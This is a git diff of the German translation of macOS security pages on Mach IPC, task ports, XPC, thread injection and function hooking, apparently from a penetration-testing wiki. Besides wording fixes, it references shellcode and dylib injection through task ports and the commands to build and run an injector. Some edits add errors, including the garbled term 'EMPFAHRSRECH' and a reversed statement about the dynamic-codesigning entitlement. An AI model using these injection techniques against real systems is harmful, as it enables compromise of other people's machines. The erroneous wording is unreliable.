-Koalition ist eine weitere Möglichkeit, Prozesse in Darwin zu gruppieren. Ein Prozess, der einer Koalition beitritt, kann auf Poolressourcen zugreifen, ein Hauptbuch teilen oder Jetsam gegenüberstehen. Koalitionen haben unterschiedliche Rollen: Führer, XPC-Dienst, Erweiterung.
+Koalition ist eine weitere Möglichkeit, Prozesse in Darwin zu gruppieren. Ein Prozess, der einer Koalition beitritt, ermöglicht den Zugriff auf Poolressourcen, teilt ein Hauptbuch oder steht Jetsam gegenüber. Koalitionen haben unterschiedliche Rollen: Führer, XPC-Dienst, Erweiterung.
 
 ### Berechtigungen & Personae
 
@@ -59,7 +59,7 @@ char     persona_name[MAXLOGNAME + 1];
 ## Threads Grundinformationen
 
 1. **POSIX-Threads (pthreads):** macOS unterstützt POSIX-Threads (`pthreads`), die Teil einer standardisierten Thread-API für C/C++ sind. Die Implementierung von pthreads in macOS befindet sich in `/usr/lib/system/libsystem_pthread.dylib`, die aus dem öffentlich verfügbaren `libpthread`-Projekt stammt. Diese Bibliothek bietet die notwendigen Funktionen zum Erstellen und Verwalten von Threads.
-2. **Threads erstellen:** Die Funktion `pthread_create()` wird verwendet, um neue Threads zu erstellen. Intern ruft diese Funktion `bsdthread_create()` auf, einen niedrigeren Systemaufruf, der spezifisch für den XNU-Kernel (auf dem macOS basiert) ist. Dieser Systemaufruf nimmt verschiedene Flags entgegen, die aus `pthread_attr` (Attributen) abgeleitet sind und das Verhalten des Threads, einschließlich der Planungsrichtlinien und der Stackgröße, spezifizieren.
+2. **Threads erstellen:** Die Funktion `pthread_create()` wird verwendet, um neue Threads zu erstellen. Intern ruft diese Funktion `bsdthread_create()` auf, einen niedrigeren Systemaufruf, der spezifisch für den XNU-Kernel (den Kernel, auf dem macOS basiert) ist. Dieser Systemaufruf nimmt verschiedene Flags entgegen, die aus `pthread_attr` (Attributen) abgeleitet sind und das Verhalten des Threads spezifizieren, einschließlich der Planungsrichtlinien und der Stackgröße.
 - **Standard-Stackgröße:** Die Standard-Stackgröße für neue Threads beträgt 512 KB, was für typische Operationen ausreichend ist, aber über Thread-Attribute angepasst werden kann, wenn mehr oder weniger Platz benötigt wird.
 3. **Thread-Initialisierung:** Die Funktion `__pthread_init()` ist während der Thread-Einrichtung entscheidend und nutzt das Argument `env[]`, um Umgebungsvariablen zu parsen, die Details über den Standort und die Größe des Stacks enthalten können.
 
@@ -111,7 +111,7 @@ Mach-O bietet auch eine spezifische API namens **`tlv_atexit`**, um thread-lokal
 
 ### Thread-Prioritäten
 
-Das Verständnis von Thread-Prioritäten beinhaltet, wie das Betriebssystem entscheidet, welche Threads wann ausgeführt werden. Diese Entscheidung wird durch das Prioritätsniveau beeinflusst, das jedem Thread zugewiesen ist. In macOS und Unix-ähnlichen Systemen wird dies mit Konzepten wie `nice`, `renice` und Quality of Service (QoS) Klassen gehandhabt.
+Das Verständnis von Thread-Prioritäten beinhaltet, wie das Betriebssystem entscheidet, welche Threads ausgeführt werden und wann. Diese Entscheidung wird durch das Prioritätsniveau beeinflusst, das jedem Thread zugewiesen ist. In macOS und Unix-ähnlichen Systemen wird dies mit Konzepten wie `nice`, `renice` und Quality of Service (QoS) Klassen gehandhabt.
 
 #### Nice und Renice
 
@@ -129,7 +129,7 @@ QoS-Klassen sind ein modernerer Ansatz zur Handhabung von Thread-Prioritäten, i
 1. **Benutzerinteraktiv:**
 - Diese Klasse ist für Aufgaben, die derzeit mit dem Benutzer interagieren oder sofortige Ergebnisse erfordern, um eine gute Benutzererfahrung zu bieten. Diese Aufgaben erhalten die höchste Priorität, um die Benutzeroberfläche reaktionsschnell zu halten (z. B. Animationen oder Ereignisbehandlung).
 2. **Benutzerinitiiert:**
-- Aufgaben, die der Benutzer initiiert und sofortige Ergebnisse erwartet, wie das Öffnen eines Dokuments oder das Klicken auf eine Schaltfläche, die Berechnungen erfordert. Diese haben eine hohe Priorität, liegen aber unter Benutzerinteraktiv.
+- Aufgaben, die der Benutzer initiiert und sofortige Ergebnisse erwartet, wie das Öffnen eines Dokuments oder das Klicken auf eine Schaltfläche, die Berechnungen erfordert. Diese haben eine hohe Priorität, liegen aber unter benutzerinteraktiven Aufgaben.
 3. **Dienstprogramm:**
 - Diese Aufgaben sind langlaufend und zeigen typischerweise einen Fortschrittsindikator an (z. B. Dateien herunterladen, Daten importieren). Sie haben eine niedrigere Priorität als benutzerinitiierte Aufgaben und müssen nicht sofort abgeschlossen werden.
 4. **Hintergrund:**
@@ -153,7 +153,7 @@ macos-library-injection/
 
 ### Funktionshooking
 
-Funktionshooking beinhaltet das **Abfangen von Funktionsaufrufen** oder Nachrichten innerhalb eines Softwarecodes. Durch das Hooken von Funktionen kann ein Angreifer das **Verhalten** eines Prozesses ändern, sensible Daten beobachten oder sogar die Ausführungsreihenfolge übernehmen.
+Funktionshooking beinhaltet das **Abfangen von Funktionsaufrufen** oder Nachrichten innerhalb eines Softwarecodes. Durch das Hooken von Funktionen kann ein Angreifer das **Verhalten** eines Prozesses ändern, sensible Daten beobachten oder sogar die Ausführungsreihenfolge kontrollieren.
 
 {{#ref}}
 macos-function-hooking.md

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md

@@ -20,7 +20,7 @@ Ein Prozess kann auch einen Portnamen mit bestimmten Rechten **an eine andere Ta
 
 Portrechte, die definieren, welche Operationen eine Task ausführen kann, sind entscheidend für diese Kommunikation. Die möglichen **Portrechte** sind ([Definitionen hier](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
 
-- **Empfangsrecht**, das das Empfangen von Nachrichten ermöglicht, die an den Port gesendet werden. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren zum Leseende einer Pipe halten können).
+- **Empfangsrecht**, das das Empfangen von Nachrichten ermöglicht, die an den Port gesendet werden. Mach-Ports sind MPSC (multiple-producer, single-consumer) Warteschlangen, was bedeutet, dass es im gesamten System **nur ein Empfangsrecht für jeden Port** geben kann (im Gegensatz zu Pipes, bei denen mehrere Prozesse alle Dateideskriptoren am Leseende einer Pipe halten können).
 - Eine **Task mit dem Empfangsrecht** kann Nachrichten empfangen und **Sende-Rechte erstellen**, die es ihr ermöglichen, Nachrichten zu senden. Ursprünglich hat nur die **eigene Task das Empfangsrecht über ihren Port**.
 - Wenn der Besitzer des Empfangsrechts **stirbt** oder es tötet, wird das **Sende-Recht nutzlos (toter Name)**.
 - **Sende-Recht**, das das Senden von Nachrichten an den Port ermöglicht.
@@ -28,7 +28,7 @@ Portrechte, die definieren, welche Operationen eine Task ausführen kann, sind e
 - Beachten Sie, dass **Portrechte** auch durch Mac-Nachrichten **übertragen** werden können.
 - **Send-once-Recht**, das das Senden einer Nachricht an den Port ermöglicht und dann verschwindet.
 - Dieses Recht **kann nicht** **kloniert** werden, aber es kann **verschoben** werden.
-- **Port-Set-Recht**, das ein _Port-Set_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Port-Set dequeuet eine Nachricht von einem der enthaltenen Ports. Port-Sets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
+- **Port-Set-Recht**, das ein _Port-Set_ anstelle eines einzelnen Ports bezeichnet. Das Dequeuen einer Nachricht aus einem Port-Set dequeuert eine Nachricht von einem der enthaltenen Ports. Port-Sets können verwendet werden, um gleichzeitig auf mehreren Ports zu hören, ähnlich wie `select`/`poll`/`epoll`/`kqueue` in Unix.
 - **Toter Name**, der kein tatsächliches Portrecht ist, sondern lediglich ein Platzhalter. Wenn ein Port zerstört wird, verwandeln sich alle bestehenden Portrechte für den Port in tote Namen.
 
 **Tasks können SEND-Rechte an andere übertragen**, die es ihnen ermöglichen, Nachrichten zurückzusenden. **SEND-Rechte können auch kloniert werden, sodass eine Task das Recht duplizieren und einer dritten Task geben kann**. Dies, kombiniert mit einem Zwischenprozess, der als **Bootstrap-Server** bekannt ist, ermöglicht eine effektive Kommunikation zwischen Tasks.
@@ -43,29 +43,29 @@ Wie bereits erwähnt, ist es möglich, Rechte mit Mach-Nachrichten zu senden, je
 
 Dafür ist der **Bootstrap-Server** (**launchd** in Mac) beteiligt, da **jeder ein SEND-Recht zum Bootstrap-Server erhalten kann**, ist es möglich, ihn um ein Recht zu bitten, um eine Nachricht an einen anderen Prozess zu senden:
 
-1. Task **A** erstellt einen **neuen Port** und erhält das **EMPFAHRECHT** dafür.
+1. Task **A** erstellt einen **neuen Port** und erhält das **EMPFAHRSRECH** dafür.
-2. Task **A**, als Inhaber des Empfangsrechts, **generiert ein SEND-Recht für den Port**.
+2. Task **A**, als Inhaber des EMPFAHRSRECHTS, **generiert ein SEND-Recht für den Port**.
 3. Task **A** stellt eine **Verbindung** mit dem **Bootstrap-Server** her und **sendet ihm das SEND-Recht** für den Port, den sie zu Beginn generiert hat.
 - Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
 4. Task A sendet eine `bootstrap_register`-Nachricht an den Bootstrap-Server, um **den gegebenen Port mit einem Namen** wie `com.apple.taska` zu verknüpfen.
 5. Task **B** interagiert mit dem **Bootstrap-Server**, um eine Bootstrap-**Suche nach dem Dienstnamen** (`bootstrap_lookup`) durchzuführen. Damit der Bootstrap-Server antworten kann, sendet Task B ihm ein **SEND-Recht zu einem Port, den es zuvor erstellt hat**, innerhalb der Suchnachricht. Wenn die Suche erfolgreich ist, **dupliziert der Server das SEND-Recht**, das von Task A empfangen wurde, und **überträgt es an Task B**.
 - Denken Sie daran, dass jeder ein SEND-Recht zum Bootstrap-Server erhalten kann.
 6. Mit diesem SEND-Recht ist **Task B** in der Lage, eine **Nachricht** **an Task A** zu **senden**.
-7. Für eine bidirektionale Kommunikation generiert normalerweise Task **B** einen neuen Port mit einem **EMPFAHRECHT** und einem **SENDE-Recht** und gibt das **SEND-Recht an Task A**, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
+7. Für eine bidirektionale Kommunikation generiert normalerweise Task **B** einen neuen Port mit einem **EMPFAHRSRECH** und einem **SEND-RECHT** und gibt das **SEND-Recht an Task A**, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
 
-Der Bootstrap-Server **kann den Dienstnamen, der von einer Task beansprucht wird, nicht authentifizieren**. Das bedeutet, dass eine **Task** potenziell **jede System-Task impersonieren** könnte, indem sie fälschlicherweise **einen Autorisierungsdienstnamen beansprucht** und dann jede Anfrage genehmigt.
+Der Bootstrap-Server **kann den Dienstnamen, der von einer Task beansprucht wird, nicht authentifizieren**. Das bedeutet, dass eine **Task** potenziell **jede System-Task nachahmen** könnte, indem sie fälschlicherweise **einen Autorisierungsdienstnamen beansprucht** und dann jede Anfrage genehmigt.
 
-Dann speichert Apple die **Namen der systembereitgestellten Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Dienstnamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **EMPFAHRECHT für jeden dieser Dienstnamen** erstellen und halten.
+Dann speichert Apple die **Namen der systemeigenen Dienste** in sicheren Konfigurationsdateien, die sich in **SIP-geschützten** Verzeichnissen befinden: `/System/Library/LaunchDaemons` und `/System/Library/LaunchAgents`. Neben jedem Dienstnamen wird auch die **assoziierte Binärdatei gespeichert**. Der Bootstrap-Server wird ein **EMPFAHRSRECH für jeden dieser Dienstnamen** erstellen und halten.
 
 Für diese vordefinierten Dienste unterscheidet sich der **Suchprozess leicht**. Wenn ein Dienstname gesucht wird, startet launchd den Dienst dynamisch. Der neue Workflow ist wie folgt:
 
 - Task **B** initiiert eine Bootstrap-**Suche** nach einem Dienstnamen.
 - **launchd** überprüft, ob die Task läuft, und wenn nicht, **startet** sie ihn.
-- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** (`bootstrap_check_in()`) durch. Hier erstellt der **Bootstrap**-Server ein SEND-Recht, behält es und **überträgt das EMPFAHRECHT an Task A**.
+- Task **A** (der Dienst) führt eine **Bootstrap-Check-in** (`bootstrap_check_in()`) durch. Hier erstellt der **Bootstrap-**Server ein SEND-Recht, behält es und **überträgt das EMPFAHRSRECH an Task A**.
 - launchd dupliziert das **SEND-Recht und sendet es an Task B**.
-- Task **B** generiert einen neuen Port mit einem **EMPFAHRECHT** und einem **SENDE-Recht** und gibt das **SEND-Recht an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
+- Task **B** generiert einen neuen Port mit einem **EMPFAHRSRECH** und einem **SEND-RECHT** und gibt das **SEND-Recht an Task A** (den Dienst) weiter, damit es Nachrichten an TASK B senden kann (bidirektionale Kommunikation).
 
-Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Impersonation ermöglichen könnte.
+Dieser Prozess gilt jedoch nur für vordefinierte System-Tasks. Nicht-System-Tasks funktionieren weiterhin wie ursprünglich beschrieben, was potenziell eine Nachahmung ermöglichen könnte.
 
 > [!CAUTION]
 > Daher sollte launchd niemals abstürzen, sonst stürzt das gesamte System ab.
@@ -85,7 +85,7 @@ mach_port_name_t              msgh_voucher_port;
 mach_msg_id_t                 msgh_id;
 } mach_msg_header_t;
 ```
-Prozesse, die über ein _**receive right**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Im Gegensatz dazu wird den **Sendenden** ein _**send**_ oder ein _**send-once right**_ gewährt. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
+Prozesse, die über ein _**receive right**_ verfügen, können Nachrichten über einen Mach-Port empfangen. Umgekehrt erhalten die **Sender** ein _**send**_ oder ein _**send-once right**_. Das send-once right ist ausschließlich zum Senden einer einzelnen Nachricht gedacht, nach der es ungültig wird.
 
 Das anfängliche Feld **`msgh_bits`** ist ein Bitmap:
 
@@ -110,12 +110,12 @@ Die Typen, die im Voucher, lokalen und entfernten Ports angegeben werden können
 ```
 Zum Beispiel kann `MACH_MSG_TYPE_MAKE_SEND_ONCE` verwendet werden, um anzuzeigen, dass ein **send-once** **Recht** für diesen Port abgeleitet und übertragen werden sollte. Es kann auch `MACH_PORT_NULL` angegeben werden, um zu verhindern, dass der Empfänger antworten kann.
 
-Um eine einfache **bidirektionale Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im mach **Nachrichtenkopf** angeben, der als _Antwortport_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann.
+Um eine einfache **zweiseitige Kommunikation** zu erreichen, kann ein Prozess einen **mach port** im mach **Nachrichtenkopf** angeben, der als _Antwortport_ (**`msgh_local_port`**) bezeichnet wird, wo der **Empfänger** der Nachricht eine **Antwort** auf diese Nachricht senden kann.
 
 > [!TIP]
-> Beachten Sie, dass diese Art der bidirektionalen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die bidirektionale Kommunikation zu ermöglichen.
+> Beachten Sie, dass diese Art der zweiseitigen Kommunikation in XPC-Nachrichten verwendet wird, die eine Antwort erwarten (`xpc_connection_send_message_with_reply` und `xpc_connection_send_message_with_reply_sync`). Aber **normalerweise werden verschiedene Ports erstellt**, wie zuvor erklärt, um die zweiseitige Kommunikation zu ermöglichen.
 
-Die anderen Felder des Nachrichtenkopfs sind:
+Die anderen Felder des Nachrichtenkopfes sind:
 
 - `msgh_size`: die Größe des gesamten Pakets.
 - `msgh_remote_port`: der Port, über den diese Nachricht gesendet wird.
@@ -131,7 +131,7 @@ Ein **Trailer** ist **Informationen, die vom Kernel zur Nachricht hinzugefügt w
 
 #### Komplexe Nachrichten
 
-Es gibt jedoch auch andere, **komplexere** Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das signifikanteste Bit des Headers `msgh_bits` gesetzt.
+Es gibt jedoch auch andere, **komplexere** Nachrichten, wie solche, die zusätzliche Portrechte übergeben oder Speicher teilen, bei denen der Kernel auch diese Objekte an den Empfänger senden muss. In diesen Fällen wird das signifikanteste Bit des Kopfes `msgh_bits` gesetzt.
 
 Die möglichen Deskriptoren, die übergeben werden können, sind in [**`mach/message.h`**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html) definiert:
 ```c
@@ -150,7 +150,7 @@ unsigned int                  pad3 : 24;
 mach_msg_descriptor_type_t    type : 8;
 } mach_msg_type_descriptor_t;
 ```
-In 32-Bit-Systemen sind alle Deskriptoren 12B groß, und der Deskriptortyp befindet sich im 11. Deskriptor. In 64-Bit-Systemen variieren die Größen.
+In 32-Bit-Systemen sind alle Deskriptoren 12B groß, und der Deskriptor-Typ befindet sich im 11. Deskriptor. In 64-Bit-Systemen variieren die Größen.
 
 > [!CAUTION]
 > Der Kernel kopiert die Deskriptoren von einer Aufgabe zur anderen, erstellt jedoch zuerst **eine Kopie im Kernel-Speicher**. Diese Technik, bekannt als "Feng Shui", wurde in mehreren Exploits missbraucht, um den **Kernel dazu zu bringen, Daten in seinem Speicher zu kopieren**, wodurch ein Prozess Deskriptoren an sich selbst sendet. Dann kann der Prozess die Nachrichten empfangen (der Kernel wird sie freigeben).
@@ -170,13 +170,13 @@ Beachten Sie, dass Ports mit dem Aufgabennamespace verknüpft sind. Um einen Por
 - `mach_port_allocate`: Weisen Sie einen neuen RECEIVE, PORT_SET oder DEAD_NAME zu
 - `mach_port_insert_right`: Erstellen Sie ein neues Recht in einem Port, in dem Sie RECEIVE haben
 - `mach_port_...`
-- **`mach_msg`** | **`mach_msg_overwrite`**: Funktionen, die verwendet werden, um **mach-Nachrichten zu senden und zu empfangen**. Die Überschreibungsversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version verwendet einfach denselben).
+- **`mach_msg`** | **`mach_msg_overwrite`**: Funktionen, die verwendet werden, um **mach-Nachrichten zu senden und zu empfangen**. Die Überschreibungsversion ermöglicht es, einen anderen Puffer für den Nachrichteneingang anzugeben (die andere Version wird ihn einfach wiederverwenden).
 
 ### Debug mach_msg
 
 Da die Funktionen **`mach_msg`** und **`mach_msg_overwrite`** verwendet werden, um Nachrichten zu senden und zu empfangen, würde das Setzen eines Haltepunkts auf ihnen ermöglichen, die gesendeten und empfangenen Nachrichten zu inspizieren.
 
-Zum Beispiel starten Sie das Debuggen einer beliebigen Anwendung, die Sie debuggen können, da sie **`libSystem.B` laden wird, die diese Funktion verwendet**.
+Zum Beispiel starten Sie das Debuggen einer beliebigen Anwendung, die Sie debuggen können, da sie **`libSystem.B` laden wird, die diese Funktion verwenden wird**.
 
 <pre class="language-armasm"><code class="lang-armasm"><strong>(lldb) b mach_msg
 </strong>Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
@@ -271,7 +271,7 @@ Der **Name** ist der Standardname, der dem Port zugewiesen wird (überprüfen Si
 Beachten Sie auch, wie die Ports mit nur **`send`** Rechten den **Besitzer** identifizieren (Portname + pid).\
 Beachten Sie auch die Verwendung von **`+`**, um **andere Aufgaben, die mit demselben Port verbunden sind**, anzuzeigen.
 
-Es ist auch möglich, [**procesxp**](https://www.newosxbook.com/tools/procexp.html) zu verwenden, um auch die **registrierten Dienstnamen** zu sehen (mit deaktiviertem SIP aufgrund des Bedarfs an `com.apple.system-task-port`):
+Es ist auch möglich, [**procesxp**](https://www.newosxbook.com/tools/procexp.html) zu verwenden, um auch die **registrierten Dienstnamen** zu sehen (mit deaktiviertem SIP aufgrund der Notwendigkeit von `com.apple.system-task-port`):
 ```
 procesp 1 ports
 ```
@@ -279,7 +279,7 @@ Sie können dieses Tool auf iOS installieren, indem Sie es von [http://newosxboo
 
 ### Codebeispiel
 
-Beachten Sie, wie der **Sender** einen Port **zuweist**, ein **Senderecht** für den Namen `org.darlinghq.example` erstellt und es an den **Bootstrap-Server** sendet, während der Sender um das **Senderecht** dieses Namens bittet und es verwendet, um eine **Nachricht zu senden**.
+Beachten Sie, wie der **Sender** einen Port **zuweist**, ein **Senderecht** für den Namen `org.darlinghq.example` erstellt und es an den **Bootstrap-Server** sendet, während der Sender um das **Senderecht** dieses Namens bittet und es verwendet, um eine **Nachricht** zu **senden**.
 
 {{#tabs}}
 {{#tab name="receiver.c"}}
@@ -416,21 +416,21 @@ Diese Ports werden durch eine Nummer dargestellt.
 **SEND**-Rechte können durch den Aufruf von **`host_get_special_port`** und **RECEIVE**-Rechte durch den Aufruf von **`host_set_special_port`** erlangt werden. Beide Aufrufe erfordern jedoch den **`host_priv`**-Port, auf den nur der Root-Zugriff hat. Darüber hinaus konnte der Root in der Vergangenheit **`host_set_special_port`** aufrufen und beliebige Ports übernehmen, was es beispielsweise ermöglichte, Codesignaturen zu umgehen, indem `HOST_KEXTD_PORT` übernommen wurde (SIP verhindert dies jetzt).
 
 Diese sind in 2 Gruppen unterteilt: Die **ersten 7 Ports gehören dem Kernel**, wobei der 1 `HOST_PORT`, der 2 `HOST_PRIV_PORT`, der 3 `HOST_IO_MASTER_PORT` und der 7 `HOST_MAX_SPECIAL_KERNEL_PORT` ist.\
-Die Ports, die **ab** der Nummer **8** beginnen, sind **im Besitz von System-Daemons** und können in [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) gefunden werden.
+Die Ports, die **ab** der Nummer **8** beginnen, sind **im Besitz von System-Daemons** und sie sind in [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html) deklariert.
 
-- **Host-Port**: Wenn ein Prozess über dieses Port **SEND**-Privilegien hat, kann er **Informationen** über das **System** abrufen, indem er seine Routinen aufruft wie:
+- **Host-Port**: Wenn ein Prozess über dieses Port die **SEND**-Berechtigung hat, kann er **Informationen** über das **System** abrufen, indem er seine Routinen aufruft wie:
 - `host_processor_info`: Prozessorinformationen abrufen
 - `host_info`: Hostinformationen abrufen
 - `host_virtual_physical_table_info`: Virtuelle/Physische Seitentabelle (erfordert MACH_VMDEBUG)
 - `host_statistics`: Hoststatistiken abrufen
 - `mach_memory_info`: Kernel-Speicherlayout abrufen
-- **Host-Priv-Port**: Ein Prozess mit **SEND**-Rechten über diesen Port kann **privilegierte Aktionen** ausführen, wie Bootdaten anzeigen oder versuchen, eine Kernel-Erweiterung zu laden. Der **Prozess muss Root** sein, um diese Berechtigung zu erhalten.
+- **Host-Priv-Port**: Ein Prozess mit **SEND**-Recht über diesen Port kann **privilegierte Aktionen** ausführen, wie Bootdaten anzeigen oder versuchen, eine Kernel-Erweiterung zu laden. Der **Prozess muss Root** sein, um diese Berechtigung zu erhalten.
 - Darüber hinaus ist es erforderlich, um die **`kext_request`**-API aufzurufen, andere Berechtigungen **`com.apple.private.kext*`** zu haben, die nur Apple-Binärdateien gewährt werden.
 - Andere Routinen, die aufgerufen werden können, sind:
 - `host_get_boot_info`: `machine_boot_info()` abrufen
 - `host_priv_statistics`: Privilegierte Statistiken abrufen
-- `vm_allocate_cpm`: Kontinuierlichen physischen Speicher zuweisen
+- `vm_allocate_cpm`: Zusammenhängenden physischen Speicher zuweisen
-- `host_processors`: Senderechte an Host-Prozessoren
+- `host_processors`: Senderecht an Host-Prozessoren
 - `mach_vm_wire`: Speicher resident machen
 - Da **Root** auf diese Berechtigung zugreifen kann, könnte er `host_set_[special/exception]_port[s]` aufrufen, um **Host-Spezial- oder Ausnahmeports zu übernehmen**.
 
@@ -463,7 +463,7 @@ Ursprünglich hatte Mach keine "Prozesse", sondern "Aufgaben", die eher als Cont
 
 Es gibt zwei sehr interessante Funktionen, die damit zusammenhängen:
 
-- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit dem angegebenen `pid` verbunden ist, und gib es an den angegebenen `target_task_port` weiter (der normalerweise die aufrufende Aufgabe ist, die `mach_task_self()` verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).
+- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Erhalte ein SEND-Recht für den Task-Port der Aufgabe, die mit dem durch die `pid` angegebenen verbunden ist, und gib es an den angegebenen `target_task_port` weiter (der normalerweise die aufrufende Aufgabe ist, die `mach_task_self()` verwendet hat, aber auch ein SEND-Port über eine andere Aufgabe sein könnte).
 - `pid_for_task(task, &pid)`: Gegeben ein SEND-Recht zu einer Aufgabe, finde heraus, zu welcher PID diese Aufgabe gehört.
 
 Um Aktionen innerhalb der Aufgabe auszuführen, benötigte die Aufgabe ein `SEND`-Recht zu sich selbst, indem sie `mach_task_self()` aufruft (was den `task_self_trap` (28) verwendet). Mit dieser Berechtigung kann eine Aufgabe mehrere Aktionen ausführen, wie:
@@ -489,7 +489,7 @@ Denke daran, dass, weil der **Kernel auch eine Aufgabe ist**, wenn es jemandem g
 - Apps mit der **`com.apple.system-task-ports`**-Berechtigung können den **Task-Port für jeden** Prozess erhalten, außer für den Kernel. In älteren Versionen wurde es **`task_for_pid-allow`** genannt. Dies wird nur Apple-Anwendungen gewährt.
 - **Root kann auf Task-Ports** von Anwendungen **nicht** zugreifen, die mit einer **hardened** Laufzeit (und nicht von Apple) kompiliert wurden.
 
-**Der Task-Name-Port:** Eine unprivilegierte Version des _Task-Ports_. Er verweist auf die Aufgabe, erlaubt jedoch keine Kontrolle darüber. Das einzige, was anscheinend darüber verfügbar ist, ist `task_info()`.
+**Der Task-Name-Port:** Eine unprivilegierte Version des _Task-Ports_. Er verweist auf die Aufgabe, erlaubt jedoch nicht, sie zu steuern. Das einzige, was anscheinend darüber verfügbar ist, ist `task_info()`.
 
 ### Thread Ports
 
@@ -769,7 +769,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
 ./inject <pi or string>
 ```
 > [!TIP]
-> Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung `dynamic-codesigning`, um einen beschreibbaren Speicher ausführbar zu machen.
+> Damit dies auf iOS funktioniert, benötigen Sie die Berechtigung `dynamic-codesigning`, um ausführbaren Speicher beschreibbar zu machen.
 
 ### Dylib-Injektion in den Thread über Task-Port
 
@@ -777,7 +777,7 @@ In macOS können **Threads** über **Mach** oder die **posix `pthread` API** man
 
 Es war möglich, **einen einfachen Shellcode** zu injizieren, um einen Befehl auszuführen, da er **nicht mit posix** konformen APIs arbeiten musste, sondern nur mit Mach. **Komplexere Injektionen** würden erfordern, dass der **Thread** ebenfalls **posix-konform** ist.
 
-Daher sollte zur **Verbesserung des Threads** **`pthread_create_from_mach_thread`** aufgerufen werden, um einen gültigen pthread zu erstellen. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
+Daher sollte zur **Verbesserung des Threads** **`pthread_create_from_mach_thread`** aufgerufen werden, um **einen gültigen pthread** zu erstellen. Dann könnte dieser neue pthread **dlopen** aufrufen, um eine **dylib** aus dem System zu laden, sodass anstelle von neuem Shellcode, um verschiedene Aktionen auszuführen, benutzerdefinierte Bibliotheken geladen werden können.
 
 Sie finden **Beispiel-dylibs** in (zum Beispiel die, die ein Protokoll generiert und dann können Sie es abhören):
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md

@@ -8,7 +8,7 @@ XPC, was für XNU (den von macOS verwendeten Kernel) Inter-Process Communication
 
 XPC verwendet eine Form der Inter-Process Communication (IPC), die eine Reihe von Methoden umfasst, damit verschiedene Programme, die auf demselben System laufen, Daten hin und her senden können.
 
-Die wichtigsten Vorteile von XPC sind:
+Die Hauptvorteile von XPC sind:
 
 1. **Sicherheit**: Durch die Trennung der Arbeit in verschiedene Prozesse kann jedem Prozess nur die Berechtigung gewährt werden, die er benötigt. Das bedeutet, dass selbst wenn ein Prozess kompromittiert wird, er nur begrenzte Möglichkeiten hat, Schaden anzurichten.
 2. **Stabilität**: XPC hilft, Abstürze auf die Komponente zu isolieren, in der sie auftreten. Wenn ein Prozess abstürzt, kann er neu gestartet werden, ohne den Rest des Systems zu beeinträchtigen.
@@ -18,9 +18,9 @@ Der einzige **Nachteil** ist, dass **die Trennung einer Anwendung in mehrere Pro
 
 ## Anwendungsspezifische XPC-Dienste
 
-Die XPC-Komponenten einer Anwendung befinden sich **innerhalb der Anwendung selbst.** Zum Beispiel finden Sie sie in Safari unter **`/Applications/Safari.app/Contents/XPCServices`**. Sie haben die Erweiterung **`.xpc`** (wie **`com.apple.Safari.SandboxBroker.xpc`**) und sind **auch Bundles** mit der Haupt-Binärdatei darin: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` und eine `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
